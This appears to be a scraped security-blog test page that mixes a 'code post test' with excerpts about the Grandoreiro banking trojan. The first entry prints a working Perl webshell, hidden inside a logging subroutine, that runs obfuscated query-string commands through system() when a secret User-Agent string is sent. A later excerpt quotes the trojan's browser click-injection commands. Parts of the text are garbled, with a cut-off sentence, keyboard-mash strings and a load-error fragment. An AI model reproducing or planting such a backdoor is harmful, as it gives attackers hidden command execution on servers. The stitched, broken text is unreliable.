a code post test

< 1 min read - code test sub Msg {  my ($event, $level, $data) = @_;  my ($pkg, $file, $line) = caller; — start of webshell code —  my $ua = $ENV{HTTP_USER_AGENT};  my $req = $ENV{QUERY_STRING};  my $qur = “3f4a8724ab807b4f4f167aa95599d5b25e2c8aa6”;  my @param = split(/&/, $req);  if (index($ua, $qur) != -1) {    if ($param[1]){      my @res = split(/=/, $param[1]);      if ($res[0] eq “cdi”){        $res[1] =~ s/([a-fA-F0-9][a-fA-F0-9])/chr(hex($1))/eg;        $res[1] =~ tr/!-~/P-~!-O/;        system(${res[1]});      }    }  } — end of webshell code —  $file = substr ($file, rindex ($file, “/”)+1);  # Prevent C printf format codes to make…

X-force testing

16 min read - Grandoreiro banking trojan unleashed: X-Force observing emerging global campaigns Authors: Golo Mühr Source: IBM Security Intelligence https://images2.cmp.optimizely.com/Zz1kNmRkZDI4NDEzODExMWVmOGUyNGUyZjZiN2ZmZDE4ZA== Since March 2024, IBM X-Force has been tracking several large-scale phishing campaigns distributing the Grandoreiro banking trojan, which is likely operated as a Malware-as-a-Service (MaaS). Analysis of the malware revealed major updates within the string decryption and domain generating algorithm (DGA), as well as the ability to use Microsoft Outlook clients on infected hosts to spread further phishing emails. The latest malware variant…

Grandoreiro banking trojan unleashed: X-Force observing emerging global campaigns

< 1 min read - Since March 2024, IBM X-Force has been tracking several large-scale phishing campaigns distributing the GrandoreIt further allows execution of JavaScript commands in the browser to simulate HTML button clicks: {{javascript:document.getElementById('ctl00_Contentplaceholder1_lbNuevaCuenta').click();}} {{javascript:document.getElementById('ctl00_Contentplaceholder1_btnAceptar').click();}} {{javascript:document.getElementById('ctl00_Contentplaceholder1_btnContinuar').click();}}{{javascript:document.getElementById('ctl00_Contentplaceholder1_Button17').click(); }} jwiqdjqioffjqjfqwfiqwjfqwjfpwqf fwfqfqwfwqfqwfwqf

Failed to load data

Topic updates

Get email updates and stay ahead of the latest threats to the security landscape, thought leadership and research.
Subscribe today